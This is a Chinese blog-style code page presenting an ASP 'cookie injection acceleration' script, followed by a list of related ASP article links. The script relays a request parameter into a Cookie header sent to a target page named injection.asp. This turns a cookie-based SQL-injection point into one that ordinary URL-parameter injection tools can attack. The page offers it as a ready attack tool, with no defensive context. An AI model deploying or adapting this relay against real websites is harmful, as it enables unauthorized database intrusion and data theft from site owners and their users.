ASP版实现cookies注入加速工具

所属分类: 网络编程 / ASP编程 阅读数: 1217
收藏 0 赞 0 分享
来源:职业欠钱&zj1244共用的public Blog


复制代码 代码如下:

<% 
Str="xxxid="&escape(request("FK")) 
Url="http://xxx.chinaxxx.com/injection.asp" 
response.write PostData(Url,Str) 

Function PostData(PostUrl,PostCok)  
Dim Http 
Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 
With Http 

.Open "GET",PostUrl,False 
.SetRequestHeader "Cookie",PostCok 
.Send 
PostData = .ResponseBody 
End With 
Set Http = Nothing 
PostData =bytes2BSTR(PostData) 
End Function 

Function bytes2BSTR(vIn) 
Dim strReturn 
Dim I, ThisCharCode, NextCharCode 
strReturn = "" 
For I = 1 To LenB(vIn) 
ThisCharCode = AscB(MidB(vIn, I, 1)) 
If ThisCharCode < &H80 Then 
strReturn = strReturn & Chr(ThisCharCode) 
Else 
NextCharCode = AscB(MidB(vIn, I + 1, 1)) 
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
I = I + 1 
End If 
Next 
bytes2BSTR = strReturn 
End Function 

%>
更多精彩内容其他人还在看

ASP 指南

ASP 指南
收藏 0 赞 0 分享

改进 ASP 的字符串处理性能

改进 ASP 的字符串处理性能
收藏 0 赞 0 分享

pjblog2的参数第1/2页

pjblog2的参数
收藏 0 赞 0 分享

ASP智能搜索的实现

ASP智能搜索的实现
收藏 0 赞 0 分享

网站生成静态页面攻略2:数据采集

网站生成静态页面攻略2:数据采集
收藏 0 赞 0 分享

网站生成静态页面攻略3:防采集策略

网站生成静态页面攻略3:防采集策略
收藏 0 赞 0 分享

网站生成静态页面攻略4:防采集而不防搜索引擎策略

网站生成静态页面攻略4:防采集而不防搜索引擎策略
收藏 0 赞 0 分享

简单分页函数一 常用

简单分页函数一 常用
收藏 0 赞 0 分享

asp最常用的分页函数

asp最常用的分页函数
收藏 0 赞 0 分享

LINE9的目录浏览源程序

LINE9的目录浏览源程序
收藏 0 赞 0 分享
查看更多